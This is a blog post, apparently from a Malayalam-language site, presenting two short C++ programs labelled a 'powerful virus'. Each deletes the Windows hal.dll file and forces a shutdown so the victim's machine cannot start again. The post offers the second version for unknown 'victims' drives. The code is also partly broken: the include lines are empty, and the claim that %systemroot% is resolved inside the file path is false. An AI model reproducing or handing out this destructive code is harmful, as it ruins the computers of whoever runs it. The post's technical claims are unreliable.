Pages

Sample Text

BREAKING NEWS ► സര്ക്കാര് ജീവനക്കാര്ക്ക്മൊബൈല് വിലക്ക് ► സംസ്ഥാനത്ത് 20,000 പേര്‍ക്ക് ഉടന്‍ പട്ടയം -മന്ത്രി അടൂര്‍ പ്രകാശ് ► എന്‍ഡോസള്‍ഫാന്‍ നിര്‍വീര്യമാക്കല്‍ തുടങ്ങി ► പാന്‍മസാല പിടികൂടാന്‍ പ്രത്യേക സംഘം വരുന്നു ►

Friday, 29 June 2012

POWERFUL C++ VIRUS

This is a powerful C++ virus, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

warning: Do not try this on your home computer.

The Original Code:

#include
#include

using namespace std;

int main(int argc, char *argv[])

{
std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

A more advanced version of this virus which makes the C:\Windows a variable that cannot be wrong. Here it is:

Code:

#include
#include

using namespace std;
int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.


0 comments:

Post a Comment

 
 
Snow-Effect